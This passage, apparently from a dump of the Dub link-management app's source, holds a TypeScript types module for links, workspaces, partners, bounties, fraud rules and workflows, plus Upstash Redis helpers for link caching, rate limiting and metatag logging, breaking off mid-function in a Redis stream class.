    "content": "import {\n  PartnerBountySchema,\n  PartnerEarningsSchema,\n  partnerPayoutMethodSchema,\n  PartnerProfileCustomerSchema,\n  PartnerProfileLinkSchema,\n  partnerReferralsCountByStatusSchema,\n  partnerUserSchema,\n} from \"@/lib/zod/schemas/partner-profile\";\nimport { DirectorySyncProviders } from \"@boxyhq/saml-jackson\";\nimport {\n  CommissionStatus,\n  FolderUserRole,\n  FraudEvent,\n  FraudEventGroup,\n  FraudRuleType,\n  Link,\n  PartnerGroup,\n  PartnerPayoutMethod,\n  PartnerReferral,\n  PartnerRole,\n  PayoutStatus,\n  Prisma,\n  ProgramEnrollmentStatus,\n  Project,\n  User,\n  UtmTemplate,\n  Webhook,\n  WorkflowTrigger,\n  WorkspaceRole,\n} from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { RESOURCE_COLORS } from \"../ui/colors\";\nimport { PAID_TRAFFIC_PLATFORMS } from \"./api/fraud/constants\";\nimport { BOUNTY_SUBMISSION_REQUIREMENTS } from \"./bounty/constants\";\nimport { BOUNTY_SOCIAL_PLATFORMS } from \"./bounty/social-content\";\nimport {\n  FOLDER_PERMISSIONS,\n  FOLDER_WORKSPACE_ACCESS,\n} from \"./folder/constants\";\nimport { POSTBACK_TRIGGERS } from \"./postback/constants\";\nimport { postbackEventInputSchemaTB, postbackSchema } from \"./postback/schemas\";\nimport { WEBHOOK_TRIGGER_DESCRIPTIONS } from \"./webhook/constants\";\nimport {\n  activityLogActionSchema,\n  activityLogResourceTypeSchema,\n  activityLogSchema,\n  fieldDiffSchema,\n  getActivityLogsQuerySchema,\n} from \"./zod/schemas/activity-log\";\nimport {\n  BountyListSchema,\n  bountyPerformanceConditionSchema,\n  BountySchema,\n  bountySocialContentIncrementalBonusSchema,\n  BountySubmissionExtendedSchema,\n  createBountySchema,\n  getBountySubmissionsQuerySchema,\n  socialContentOutputSchema,\n  submissionRequirementsSchema,\n} from \"./zod/schemas/bounties\";\nimport {\n  CampaignListSchema,\n  CampaignSchema,\n  campaignSummarySchema,\n  campaignTriggerConditionSchema,\n  EMAIL_TEMPLATE_VARIABLES,\n  updateCampaignSchema,\n} from \"./zod/schemas/campaigns\";\nimport {\n  clickEventResponseSchema,\n  clickEventSchemaTB,\n} from \"./zod/schemas/clicks\";\nimport {\n  CommissionDetailSchema,\n  CommissionEnrichedSchema,\n} from \"./zod/schemas/commissions\";\nimport { customerActivityResponseSchema } from \"./zod/schemas/customer-activity\";\nimport {\n  CustomerEnrichedSchema,\n  CustomerSchema,\n} from \"./zod/schemas/customers\";\nimport { dashboardSchema } from \"./zod/schemas/dashboard\";\nimport { DiscountCodeSchema, DiscountSchema } from \"./zod/schemas/discount\";\nimport { EmailDomainSchema } from \"./zod/schemas/email-domains\";\nimport { FolderSchema } from \"./zod/schemas/folders\";\nimport {\n  fraudGroupSchema,\n  fraudRuleSchema,\n  updateFraudRuleSettingsSchema,\n} from \"./zod/schemas/fraud\";\nimport { GroupBountySummarySchema } from \"./zod/schemas/group-bounties\";\nimport { GroupWithProgramSchema } from \"./zod/schemas/group-with-program\";\nimport {\n  additionalPartnerLinkSchemaOptionalPath,\n  GroupSchema,\n  GroupSchemaExtended,\n  GroupWithFormDataSchema,\n  PartnerGroupDefaultLinkSchema,\n} from \"./zod/schemas/groups\";\nimport { integrationSchema } from \"./zod/schemas/integration\";\nimport { InvoiceSchema } from \"./zod/schemas/invoices\";\nimport {\n  leadEventResponseSchema,\n  leadEventSchemaTB,\n  trackLeadResponseSchema,\n} from \"./zod/schemas/leads\";\nimport {\n  ABTestVariantsSchema,\n  createLinkBodySchema,\n} from \"./zod/schemas/links\";\nimport { MessageSchema } from \"./zod/schemas/messages\";\nimport { createOAuthAppSchema, oAuthAppSchema } from \"./zod/schemas/oauth\";\nimport {\n  NetworkPartnerSchema,\n  PartnerConversionScoreSchema,\n} from \"./zod/schemas/partner-network\";\nimport {\n  createPartnerSchema,\n  EnrolledPartnerSchema,\n  EnrolledPartnerSchemaExtended,\n  partnerPlatformSchema,\n  PartnerRewindSchema,\n  PartnerSchema,\n  WebhookPartnerSchema,\n} from \"./zod/schemas/partners\";\nimport {\n  PartnerPayoutResponseSchema,\n  PayoutResponseSchema,\n} from \"./zod/schemas/payouts\";\nimport {\n  programApplicationFormDataWithValuesSchema,\n  programApplicationFormFieldWithValuesSchema,\n  programApplicationFormSchema,\n} from \"./zod/schemas/program-application-form\";\nimport { programInviteEmailDataSchema } from \"./zod/schemas/program-invite-email\";\nimport { programLanderSchema } from \"./zod/schemas/program-lander\";\nimport {\n  NetworkProgramExtendedSchema,\n  NetworkProgramSchema,\n} from \"./zod/schemas/program-network\";\nimport { programDataSchema } from \"./zod/schemas/program-onboarding\";\nimport {\n  applicationRequirementsSchema,\n  eligibilityConditionSchema,\n  PartnerCommentSchema,\n  ProgramEnrollmentSchema,\n  ProgramSchema,\n} from \"./zod/schemas/programs\";\nimport { referralFormDataSchema } from \"./zod/schemas/referral-form\";\nimport {\n  referralSchema,\n  updateReferralStatusSchema,\n} from \"./zod/schemas/referrals\";\nimport {\n  CUSTOMER_SOURCES,\n  rewardConditionsArraySchema,\n  rewardConditionSchema,\n  rewardConditionsSchema,\n  rewardContextSchema,\n  RewardSchema,\n} from \"./zod/schemas/rewards\";\nimport {\n  saleEventResponseSchema,\n  trackSaleResponseSchema,\n} from \"./zod/schemas/sales\";\nimport { fraudEventContext } from \"./zod/schemas/schemas\";\nimport { tokenSchema } from \"./zod/schemas/token\";\nimport { usageResponse } from \"./zod/schemas/usage\";\nimport {\n  createWebhookSchema,\n  webhookEventSchemaTB,\n  WebhookSchema,\n} from \"./zod/schemas/webhooks\";\nimport {\n  WORKFLOW_ATTRIBUTES,\n  WORKFLOW_COMPARISON_OPERATORS,\n  workflowActionSchema,\n  workflowConditionSchema,\n} from \"./zod/schemas/workflows\";\nimport { workspacePreferencesSchema } from \"./zod/schemas/workspace-preferences\";\nimport { workspaceUserSchema } from \"./zod/schemas/workspaces\";\n\nexport type LinkProps = Omit<Link, \"saleAmount\"> & {\n  saleAmount: number;\n};\n\n// used on client side (e.g. Link builder)\n// TODO: standardize this with ExpandedLink\nexport type ExpandedLinkProps = LinkProps & {\n  tags: TagProps[];\n  webhookIds: string[];\n  dashboardId: string | null;\n  user?: UserProps;\n};\n\nexport interface SimpleLinkProps {\n  domain: string;\n  key: string;\n  url: string;\n}\n\nexport interface QRLinkProps {\n  domain: string;\n  key?: string;\n  url?: string;\n}\n\nexport interface RedisLinkProps {\n  id: string;\n  url?: string;\n  trackConversion?: boolean;\n  password?: boolean;\n  proxy?: boolean;\n  rewrite?: boolean;\n  expiresAt?: Date;\n  expiredUrl?: string;\n  disabledAt?: Date;\n  ios?: string;\n  android?: string;\n  geo?: object;\n  doIndex?: boolean;\n  projectId?: string;\n  webhookIds?: string[];\n  programId?: string;\n  partnerId?: string;\n  partner?: Pick<PartnerProps, \"id\" | \"name\" | \"image\"> & {\n    groupId?: string | null;\n    tenantId?: string | null;\n  };\n  discount?: Pick<\n    DiscountProps,\n    \"id\" | \"amount\" | \"type\" | \"maxDuration\" | \"couponId\" | \"couponTestId\"\n  >;\n  testVariants?: z.infer<typeof ABTestVariantsSchema>;\n  testCompletedAt?: Date;\n}\n\nexport type ResourceColorsEnum = (typeof RESOURCE_COLORS)[number];\n\nexport interface TagProps {\n  id: string;\n  name: string;\n  color: ResourceColorsEnum;\n}\n\nexport type UtmTemplateProps = UtmTemplate;\nexport type UtmTemplateWithUserProps = UtmTemplateProps & {\n  user?: UserProps;\n};\n\nexport type PlanProps = (typeof plans)[number];\n\nexport type BetaFeatures = \"noDubLink\" | \"analyticsSettingsSiteVisitTracking\";\n\nexport type PartnerBetaFeatures = \"postbacks\";\n\nexport interface WorkspaceProps extends Project {\n  logo: string | null;\n  plan: PlanProps;\n  domains: {\n    slug: string;\n    primary: boolean;\n    verified: boolean;\n  }[];\n  users: {\n    role: WorkspaceRole;\n    defaultFolderId: string | null;\n  }[];\n  flags?: {\n    [key in BetaFeatures]: boolean;\n  };\n  store: Record<string, any> | null;\n}\n\nexport interface ExtendedWorkspaceProps extends WorkspaceProps {\n  domains: (WorkspaceProps[\"domains\"][number] & {\n    linkRetentionDays: number | null;\n  })[];\n  defaultProgramId: string | null;\n  allowedHostnames: string[];\n  users: (WorkspaceProps[\"users\"][number] & {\n    workspacePreferences?: z.infer<typeof workspacePreferencesSchema>;\n  })[];\n  publishableKey: string | null;\n}\n\nexport type WorkspaceWithUsers = Omit<WorkspaceProps, \"domains\">;\n\nexport type WorkspaceUserProps = z.infer<typeof workspaceUserSchema>;\n\nexport interface UserProps {\n  id: string;\n  name: string;\n  email: string;\n  image?: string;\n  createdAt: Date;\n  source: string | null;\n  defaultWorkspace?: string;\n  defaultPartnerId?: string;\n  isMachine: boolean;\n  hasPassword: boolean;\n  provider: string | null;\n}\n\nexport type DomainVerificationStatusProps =\n  | \"Valid Configuration\"\n  | \"Invalid Configuration\"\n  | \"Conflicting DNS Records\"\n  | \"Pending Verification\"\n  | \"Domain Not Found\"\n  | \"Unknown Error\";\n\nexport interface DomainProps {\n  id: string;\n  slug: string;\n  verified: boolean;\n  primary: boolean;\n  archived: boolean;\n  createdAt: Date;\n  placeholder?: string;\n  expiredUrl?: string;\n  notFoundUrl?: string;\n  projectId: string;\n  logo?: string;\n  appleAppSiteAssociation?: string;\n  assetLinks?: string;\n  deepviewData?: string;\n  link?: LinkProps;\n  registeredDomain?: RegisteredDomainProps;\n}\n\nexport interface RegisteredDomainProps {\n  id: string;\n  autoRenewalDisabledAt: Date | null;\n  createdAt: Date;\n  expiresAt: Date;\n  renewalFee: number;\n}\n\nexport interface BitlyGroupProps {\n  guid: string;\n  bsds: string[]; // custom domains\n  tags: string[];\n}\n\nexport interface ImportedDomainCountProps {\n  id: number;\n  domain: string;\n  links: number;\n}\n\nexport interface SAMLProviderProps {\n  name: string;\n  logo: string;\n  saml: \"okta\" | \"azure\" | \"google\";\n  samlModalCopy: string;\n  scim: keyof typeof DirectorySyncProviders;\n  scimModalCopy: {\n    url: string;\n    token: string;\n  };\n}\n\nexport type NewLinkProps = z.infer<typeof createLinkBodySchema>;\n\ntype ProcessedLinkOverrides = \"domain\" | \"key\" | \"url\" | \"projectId\";\n\nexport type ProcessedLinkProps = Omit<NewLinkProps, ProcessedLinkOverrides> &\n  Pick<LinkProps, ProcessedLinkOverrides> & { userId?: LinkProps[\"userId\"] } & {\n    createdAt?: Date;\n    id?: string;\n    partnerGroupDefaultLinkId?: string | null;\n  };\n\nexport const plans = [\n  \"free\",\n  \"pro\",\n  \"business\",\n  \"business plus\",\n  \"business extra\",\n  \"business max\",\n  \"advanced\",\n  \"enterprise\",\n] as const;\n\nexport type DashboardProps = z.infer<typeof dashboardSchema>;\n\nexport type TokenProps = z.infer<typeof tokenSchema>;\n\nexport type OAuthAppProps = z.infer<typeof oAuthAppSchema>;\n\nexport type OAuthAppWithClientSecret = OAuthAppProps & { clientSecret: string };\n\nexport type NewOAuthApp = z.infer<typeof createOAuthAppSchema>;\n\nexport type IntegrationProps = z.infer<typeof integrationSchema>;\n\nexport type NewOrExistingIntegration = Omit<\n  IntegrationProps,\n  \"id\" | \"verified\" | \"installations\"\n> & {\n  id?: string;\n};\n\nexport type InstalledIntegrationProps = Pick<\n  IntegrationProps,\n  | \"id\"\n  | \"projectId\"\n  | \"slug\"\n  | \"logo\"\n  | \"name\"\n  | \"developer\"\n  | \"description\"\n  | \"verified\"\n  | \"comingSoon\"\n  | \"guideUrl\"\n> & {\n  installations: number;\n  installed?: boolean;\n};\n\nexport type InstalledIntegrationInfoProps = Pick<\n  IntegrationProps,\n  | \"id\"\n  | \"projectId\"\n  | \"slug\"\n  | \"logo\"\n  | \"name\"\n  | \"developer\"\n  | \"description\"\n  | \"verified\"\n  | \"readme\"\n  | \"website\"\n  | \"screenshots\"\n  | \"installUrl\"\n> & {\n  createdAt: Date;\n  installed: {\n    id: string;\n    createdAt: Date;\n    by: {\n      id: string;\n      name: string | null;\n      email: string | null;\n      image: string | null;\n    };\n  } | null;\n  credentials?: Prisma.JsonValue;\n  settings?: Prisma.JsonValue;\n  webhookId?: string; // Only if the webhook is managed by an integration\n};\n\nexport type WebhookTrigger = keyof typeof WEBHOOK_TRIGGER_DESCRIPTIONS;\n\nexport type WebhookProps = z.infer<typeof WebhookSchema>;\n\nexport type NewWebhook = z.infer<typeof createWebhookSchema>;\n\nexport type WebhookEventProps = z.infer<typeof webhookEventSchemaTB>;\n\nexport type WebhookCacheProps = Pick<\n  Webhook,\n  \"id\" | \"url\" | \"secret\" | \"triggers\" | \"disabledAt\"\n>;\n\nexport type WebhookPartner = z.infer<typeof WebhookPartnerSchema>;\n\nexport type TrackLeadResponse = z.infer<typeof trackLeadResponseSchema>;\n\nexport type TrackSaleResponse = z.infer<typeof trackSaleResponseSchema>;\n\nexport type Customer = z.infer<typeof CustomerSchema>;\n\nexport type CustomerEnriched = z.infer<typeof CustomerEnrichedSchema>;\n\nexport type UsageResponse = z.infer<typeof usageResponse>;\n\nexport type PartnersCount = Record<ProgramEnrollmentStatus | \"all\", number>;\n\nexport type CommissionsCount = Record<\n  CommissionStatus | \"all\" | \"hold\",\n  {\n    count: number;\n    amount: number;\n    earnings: number;\n  }\n>;\n\nexport type CommissionResponse = z.infer<typeof CommissionEnrichedSchema>;\n\nexport type PartnerEarningsResponse = z.infer<typeof PartnerEarningsSchema>;\n\nexport type CustomerProps = z.infer<typeof CustomerSchema>;\n\nexport type PartnerPlatformProps = z.infer<typeof partnerPlatformSchema>;\n\nexport type PartnerProps = z.infer<typeof PartnerSchema> & {\n  role: PartnerRole;\n  userId: string;\n  platforms: PartnerPlatformProps[];\n  defaultPayoutMethod: PartnerPayoutMethod | null;\n};\n\nexport type PartnerRewindProps = z.infer<typeof PartnerRewindSchema>;\n\nexport type PartnerUserProps = z.infer<typeof partnerUserSchema>;\nexport type PartnerProfileCustomerProps = z.infer<\n  typeof PartnerProfileCustomerSchema\n>;\n\nexport type PartnerProfileLinkProps = z.infer<typeof PartnerProfileLinkSchema>;\n\nexport type PartnerPayoutMethodSetting = z.infer<\n  typeof partnerPayoutMethodSchema\n>;\n\nexport type PartnerProfileReferralsCountByStatus = z.infer<\n  typeof partnerReferralsCountByStatusSchema\n>;\n\nexport type EnrolledPartnerProps = z.infer<typeof EnrolledPartnerSchema> & {\n  platforms: PartnerPlatformProps[];\n};\n\nexport type NetworkPartnerProps = z.infer<typeof NetworkPartnerSchema>;\n\nexport type PartnerConversionScore = z.infer<\n  typeof PartnerConversionScoreSchema\n>;\n\nexport type NetworkProgramProps = z.infer<typeof NetworkProgramSchema>;\n\nexport type NetworkProgramExtendedProps = z.infer<\n  typeof NetworkProgramExtendedSchema\n>;\n\nexport type EnrolledPartnerExtendedProps = z.infer<\n  typeof EnrolledPartnerSchemaExtended\n> & {\n  platforms: PartnerPlatformProps[];\n};\n\nexport type DiscountProps = z.infer<typeof DiscountSchema>;\n\nexport type DiscountCodeProps = z.infer<typeof DiscountCodeSchema>;\n\nexport type ProgramProps = Omit<\n  z.infer<typeof ProgramSchema>,\n  \"referralFormData\" | \"applicationRequirements\"\n> & {\n  referralFormData?: Prisma.JsonValue | null;\n  applicationRequirements?: Prisma.JsonValue | null;\n};\n\nexport type ProgramInviteEmailData = z.infer<\n  typeof programInviteEmailDataSchema\n>;\n\nexport type ProgramLanderData = z.infer<typeof programLanderSchema>;\n\nexport type ProgramApplicationFormData = z.infer<\n  typeof programApplicationFormSchema\n>;\n\nexport type ProgramApplicationFormDataWithValues = z.infer<\n  typeof programApplicationFormDataWithValuesSchema\n>;\n\nexport type ProgramApplicationFormFieldWithValues = z.infer<\n  typeof programApplicationFormFieldWithValuesSchema\n>;\nexport type ProgramEnrollmentProps = z.infer<typeof ProgramEnrollmentSchema>;\nexport type EligibilityConditionDB = z.infer<typeof eligibilityConditionSchema>;\nexport type ApplicationRequirementsDB = z.infer<\n  typeof applicationRequirementsSchema\n>;\n\nexport type PayoutsCount = {\n  status: PayoutStatus;\n  count: number;\n  amount: number;\n};\n\nexport type PayoutResponse = z.infer<typeof PayoutResponseSchema>;\n\nexport type PartnerPayoutResponse = z.infer<typeof PartnerPayoutResponseSchema>;\n\nexport type SegmentIntegrationCredentials = {\n  writeKey?: string;\n};\nexport type InvoiceProps = z.infer<typeof InvoiceSchema>;\n\nexport type CustomerActivityResponse = z.infer<\n  typeof customerActivityResponseSchema\n>;\n\nexport type ClickEvent = z.infer<typeof clickEventResponseSchema>;\n\nexport type SaleEvent = z.infer<typeof saleEventResponseSchema>;\n\nexport type LeadEvent = z.infer<typeof leadEventResponseSchema>;\n\n// Folders\n\nexport type Folder = z.infer<typeof FolderSchema>;\n\nexport type FolderAccessLevel = keyof typeof FOLDER_WORKSPACE_ACCESS;\n\nexport type FolderPermission = (typeof FOLDER_PERMISSIONS)[number];\n\nexport type FolderUser = Pick<User, \"id\" | \"name\" | \"email\" | \"image\"> & {\n  role: FolderUserRole;\n  workspaceRole: WorkspaceRole;\n};\n\nexport type FolderWithPermissions = {\n  id: string;\n  permissions: FolderPermission[];\n};\n\nexport type FolderSummary = Pick<\n  Folder,\n  \"id\" | \"name\" | \"description\" | \"accessLevel\"\n>;\n\nexport type RewardProps = z.infer<typeof RewardSchema>;\n\nexport type CreatePartnerProps = z.infer<typeof createPartnerSchema>;\n\nexport type ProgramData = z.infer<typeof programDataSchema>;\nexport type PaymentMethodOption = {\n  currency?: string;\n  mandate_options?: {\n    payment_schedule?: string;\n    transaction_type?: string;\n  };\n};\nexport interface FolderLinkCount {\n  folderId: string;\n  _count: number;\n}\n\nexport type RewardContext = z.infer<typeof rewardContextSchema>;\n\nexport type RewardCondition = z.infer<typeof rewardConditionSchema>;\n\nexport type RewardConditions = z.infer<typeof rewardConditionsSchema>;\n\nexport type RewardConditionsArray = z.infer<typeof rewardConditionsArraySchema>;\n\nexport type ClickEventTB = z.infer<typeof clickEventSchemaTB>;\n\nexport type LeadEventTB = z.infer<typeof leadEventSchemaTB>;\n\nexport type GroupProps = z.infer<typeof GroupSchema>;\n\nexport type GroupWithFormDataProps = z.infer<typeof GroupWithFormDataSchema>;\n\nexport type GroupWithProgramProps = z.infer<typeof GroupWithProgramSchema>;\n\nexport type GroupExtendedProps = z.infer<typeof GroupSchemaExtended>;\n\nexport type PartnerGroupDefaultLink = z.infer<\n  typeof PartnerGroupDefaultLinkSchema\n>;\n\nexport type PartnerGroupAdditionalLink = z.infer<\n  typeof additionalPartnerLinkSchemaOptionalPath\n>;\n\nexport type PartnerGroupProps = PartnerGroup & {\n  additionalLinks: PartnerGroupAdditionalLink[];\n};\n\nexport type PartnerCommentProps = z.infer<typeof PartnerCommentSchema>;\n\nexport type BountyProps = z.infer<typeof BountySchema>;\nexport type BountyListProps = z.infer<typeof BountyListSchema>;\nexport type GroupBountySummaryProps = z.infer<typeof GroupBountySummarySchema>;\n\nexport type PartnerBountyProps = z.infer<typeof PartnerBountySchema>;\n\nexport type BountySubmissionProps = z.infer<\n  typeof BountySubmissionExtendedSchema\n>;\n\nexport type BountySubmissionRequirement =\n  (typeof BOUNTY_SUBMISSION_REQUIREMENTS)[number];\n\nexport type SocialMetricsChannel =\n  (typeof BOUNTY_SOCIAL_PLATFORMS)[number][\"value\"];\n\nexport type WorkflowCondition = z.infer<typeof workflowConditionSchema>;\n\nexport type BountyPerformanceCondition = z.infer<\n  typeof bountyPerformanceConditionSchema\n>;\n\nexport type BountySocialMetricsIncrementalBonus = z.infer<\n  typeof bountySocialContentIncrementalBonusSchema\n>;\n\nexport type CampaignTriggerCondition = z.infer<\n  typeof campaignTriggerConditionSchema\n>;\n\nexport type WorkflowConditionAttribute = (typeof WORKFLOW_ATTRIBUTES)[number];\n\nexport type WorkflowComparisonOperator =\n  (typeof WORKFLOW_COMPARISON_OPERATORS)[number];\n\nexport type WorkflowAction = z.infer<typeof workflowActionSchema>;\n\nexport type OperatorFn = (\n  aV: number,\n  cV: number | { min: number; max?: number },\n) => boolean;\n\nexport type BountySubmissionsQueryFilters = z.infer<\n  typeof getBountySubmissionsQuerySchema\n>;\n\nexport type Message = z.infer<typeof MessageSchema>;\n\nexport type CampaignList = z.infer<typeof CampaignListSchema>;\n\nexport type Campaign = z.infer<typeof CampaignSchema>;\n\nexport type UpdateCampaignFormData = z.infer<typeof updateCampaignSchema>;\n\nexport type CampaignSummary = z.infer<typeof campaignSummarySchema>;\n\nexport type StripeMode = \"test\" | \"sandbox\" | \"live\";\n\nexport type EmailTemplateVariables = Record<\n  (typeof EMAIL_TEMPLATE_VARIABLES)[number],\n  string | null | undefined\n>;\n\nexport interface TiptapNode {\n  type: string;\n  text?: string;\n  attrs?: Record<string, any>;\n  content?: TiptapNode[];\n  marks?: Array<{ type: string; attrs?: Record<string, any> }>;\n}\n\nexport interface CampaignWorkflowAttributeConfig {\n  label: string;\n  inputType: \"number\" | \"currency\" | \"dropdown\" | \"none\";\n  dropdownValues?: number[];\n}\n\nexport type WorkflowAttribute = (typeof WORKFLOW_ATTRIBUTES)[number];\n\nexport type EmailDomainProps = z.infer<typeof EmailDomainSchema>;\n\nexport type FraudGroupProps = z.infer<typeof fraudGroupSchema>;\n\nexport type ExtendedFraudRuleType =\n  | FraudRuleType\n  | \"partnerEmailDomainMismatch\"\n  | \"partnerEmailMasked\"\n  | \"partnerNoSocialLinks\"\n  | \"partnerNoVerifiedSocialLinks\";\n\nexport type FraudSeverity = \"low\" | \"medium\" | \"high\";\n\nexport interface FraudTriggeredRule {\n  triggered: boolean;\n  metadata?: Record<string, unknown>;\n}\n\nexport interface FraudRuleInfo {\n  type: ExtendedFraudRuleType;\n  name: string;\n  description: string;\n  severity?: FraudSeverity;\n  configurable: boolean;\n  scope: \"partner\" | \"conversionEvent\";\n}\n\nexport type FraudRuleProps = z.infer<typeof fraudRuleSchema>;\n\nexport type FraudEventContext = z.infer<typeof fraudEventContext>;\n\nexport type PaidTrafficPlatform = (typeof PAID_TRAFFIC_PLATFORMS)[number];\n\nexport type UpdateFraudRuleSettings = z.infer<\n  typeof updateFraudRuleSettingsSchema\n>;\n\nexport interface FraudGroupCountByPartner {\n  partnerId: string;\n  _count: number;\n}\n\nexport interface FraudGroupCountByType {\n  type: FraudRuleType;\n  _count: number;\n}\n\nexport type CreateFraudEventInput = Pick<\n  FraudEventGroup,\n  \"programId\" | \"partnerId\" | \"type\"\n> &\n  Partial<\n    Pick<FraudEvent, \"linkId\" | \"eventId\" | \"customerId\" | \"sourceProgramId\">\n  > & {\n    metadata?: Record<string, unknown> | null;\n  };\n\ninterface WorkflowIdentity {\n  workspaceId: string;\n  programId: string;\n  partnerId: string;\n  groupId?: string;\n}\n\ninterface PartnerMetrics {\n  leads?: number;\n  conversions?: number;\n  saleAmount?: number;\n  commissions?: number;\n}\n\nexport interface WorkflowContext {\n  trigger: WorkflowTrigger;\n  reason?: \"lead\" | \"sale\" | \"commission\";\n  identity: WorkflowIdentity;\n  metrics?: {\n    current?: PartnerMetrics;\n    aggregated?: PartnerMetrics;\n  };\n}\n\nexport type ReferralProps = z.infer<typeof referralSchema>;\n\nexport type ReferralFormDataField = z.infer<typeof referralFormDataSchema>;\n\nexport type UpdateReferralStatusPayload = z.infer<\n  typeof updateReferralStatusSchema\n>;\n\nexport type CustomerSource = (typeof CUSTOMER_SOURCES)[number];\n\nexport type ReferralWithCustomer = PartnerReferral & {\n  customer: Customer | null;\n};\n\nexport type GetActivityLogsQuery = z.infer<typeof getActivityLogsQuerySchema>;\n\nexport type ActivityLogResourceType = z.infer<\n  typeof activityLogResourceTypeSchema\n>;\n\nexport type ActivityLogAction = z.infer<typeof activityLogActionSchema>;\n\nexport type FieldDiff = z.infer<typeof fieldDiffSchema>;\n\nexport type ChangeSet = Record<string, FieldDiff>;\n\nexport type ActivityLog = z.infer<typeof activityLogSchema>;\n\nexport type CreateBountyInput = z.infer<typeof createBountySchema>;\n\nexport type SocialContent = z.infer<typeof socialContentOutputSchema>;\n\nexport type SubmissionRequirements = z.infer<\n  typeof submissionRequirementsSchema\n>;\n\nexport type BountySocialPlatform =\n  (typeof BOUNTY_SOCIAL_PLATFORMS)[number][\"value\"];\n\nexport type BountySocialPlatformMetric =\n  (typeof BOUNTY_SOCIAL_PLATFORMS)[number][\"metrics\"][number];\nexport type PostbackProps = z.infer<typeof postbackSchema>;\n\nexport type PostbackEventProps = z.infer<typeof postbackEventInputSchemaTB>;\n\nexport type PostbackTrigger = (typeof POSTBACK_TRIGGERS)[number];\n\nexport type CommissionDetail = z.infer<typeof CommissionDetailSchema>;\n\nexport type NullableOptional<T> = {\n  [K in keyof T]?: T[K] | null;\n};\n"
  },
  {
    "path": "apps/web/lib/upstash/format-redis-link.ts",
    "content": "import * as z from \"zod/v4\";\nimport { ExpandedLink } from \"../api/links/utils/transform-link\";\nimport { RedisLinkProps } from \"../types\";\nimport { ABTestVariantsSchema } from \"../zod/schemas/links\";\n\nexport function formatRedisLink(link: ExpandedLink): RedisLinkProps {\n  const {\n    id,\n    url,\n    trackConversion,\n    password,\n    proxy,\n    rewrite,\n    expiresAt,\n    expiredUrl,\n    disabledAt,\n    ios,\n    android,\n    geo,\n    doIndex,\n    projectId,\n    webhooks,\n    programId,\n    partnerId,\n    partner,\n    discount,\n    testVariants,\n    testCompletedAt,\n  } = link;\n\n  const webhookIds = webhooks?.map(({ webhookId }) => webhookId) ?? [];\n\n  return {\n    id,\n    ...(url && { url }), // on free plans you cannot set a root domain redirect, hence URL is undefined\n    ...(trackConversion && { trackConversion: true }),\n    ...(password && password.length > 0 && { password: true }),\n    ...(proxy && { proxy: true }),\n    ...(url &&\n      rewrite && {\n        rewrite: true,\n      }),\n    ...(expiresAt && { expiresAt: new Date(expiresAt) }),\n    ...(expiredUrl && { expiredUrl }),\n    ...(disabledAt && { disabledAt }),\n    ...(ios && { ios }),\n    ...(android && { android }),\n    ...(geo && { geo: geo as object }),\n    ...(projectId && { projectId }), // projectId can be undefined for anonymous links\n    ...(doIndex && { doIndex: true }),\n    ...(webhookIds.length > 0 && { webhookIds }),\n    ...(programId && { programId }),\n    ...(partnerId && { partnerId }),\n    ...(partner && {\n      partner: {\n        id: partner.id,\n        name: partner.name,\n        image: partner.image || `https://api.dub.co/og/avatar/${partner.id}`,\n        ...(partner.groupId && { groupId: partner.groupId }),\n        ...(partner.tenantId && { tenantId: partner.tenantId }),\n      },\n    }),\n    ...(discount && {\n      discount: {\n        id: discount.id,\n        amount: discount.amount,\n        type: discount.type,\n        maxDuration: discount.maxDuration,\n        couponId: discount.couponId,\n        couponTestId: discount.couponTestId,\n      },\n    }),\n    ...(Boolean(\n      testVariants && testCompletedAt && new Date(testCompletedAt) > new Date(),\n    ) && {\n      testVariants: testVariants as z.infer<typeof ABTestVariantsSchema>,\n      testCompletedAt: new Date(testCompletedAt!),\n    }),\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/upstash/index.ts",
    "content": "export * from \"./format-redis-link\";\nexport * from \"./ratelimit\";\nexport * from \"./record-metatags\";\nexport * from \"./redis\";\n"
  },
  {
    "path": "apps/web/lib/upstash/ratelimit-policy.ts",
    "content": "export const RATE_LIMITS = {\n  programImageUpload: {\n    attempts: 10,\n    window: \"24 h\",\n    keyPrefix: \"rl:program:application:image:upload\",\n  },\n\n  // TODO:\n  // Centralize rate limiting policies\n} as const;\n"
  },
  {
    "path": "apps/web/lib/upstash/ratelimit.ts",
    "content": "import { Ratelimit } from \"@upstash/ratelimit\";\nimport { redis } from \"./redis\";\n\n// Create a new ratelimiter, that allows 10 requests per 10 seconds by default\nexport const ratelimit = (\n  requests: number = 10,\n  seconds:\n    | `${number} ms`\n    | `${number} s`\n    | `${number} m`\n    | `${number} h`\n    | `${number} d` = \"10 s\",\n) => {\n  return new Ratelimit({\n    redis: redis,\n    limiter: Ratelimit.slidingWindow(requests, seconds),\n    analytics: true,\n    prefix: \"dub\",\n    timeout: 1000,\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/upstash/record-metatags.ts",
    "content": "import { getDomainWithoutWWW } from \"@dub/utils\";\nimport { redis } from \"./redis\";\n\n/**\n * Recording metatags that were generated via \"/api/links/metatags\"\n * If there's an error, it will be logged to a separate redis list for debugging\n **/\nexport async function recordMetatags(url: string, error: boolean) {\n  if (url === \"https://github.com/dubinc/dub\") {\n    // don't log metatag generation for default URL\n    return null;\n  }\n\n  if (error) {\n    return await redis.zincrby(\"metatags-error-zset\", 1, url);\n  }\n\n  const domain = getDomainWithoutWWW(url);\n  return await redis.zincrby(\"metatags-zset\", 1, domain);\n}\n"
  },
  {
    "path": "apps/web/lib/upstash/redis-streams.ts",
    "content": "import { redis } from \"./redis\";\n\nexport type RedisStreamEntry<T> = {\n  id: string;\n  data: T;\n};\n\nexport class RedisStream {\n  private streamKey: string;\n\n  constructor(streamKey: string) {\n    this.streamKey = streamKey;\n  }\n\n  /**\n   * Read and process a batch of items from the stream\n   * This provides a consumable batch of messages with the ability to delete them upon successful completion of the handler\n   */\n  async processBatch<T>(\n    handler: (\n      records: RedisStreamEntry<T>[],\n    ) => Promise<any & { processedEntryIds: string[] }>,\n    options: {\n      startId?: string;\n      endId?: string;\n      count?: number;\n      deleteAfterRead?: boolean;\n    } = {},\n  ): Promise<any> {\n    const {\n      startId = \"0\",\n      endId = \"+\",\n      count = 1000,\n      deleteAfterRead = true,\n    } = options;\n\n    try {\n      // Read entries from the stream\n      const entriesMap = await redis.xrange(\n        this.streamKey,\n        startId,\n        endId,\n        count,\n      );\n\n      const entries: RedisStreamEntry<T>[] = Object.entries(entriesMap).map(\n        ([id, data]) => ({\n          id,\n          data: data as any,\n        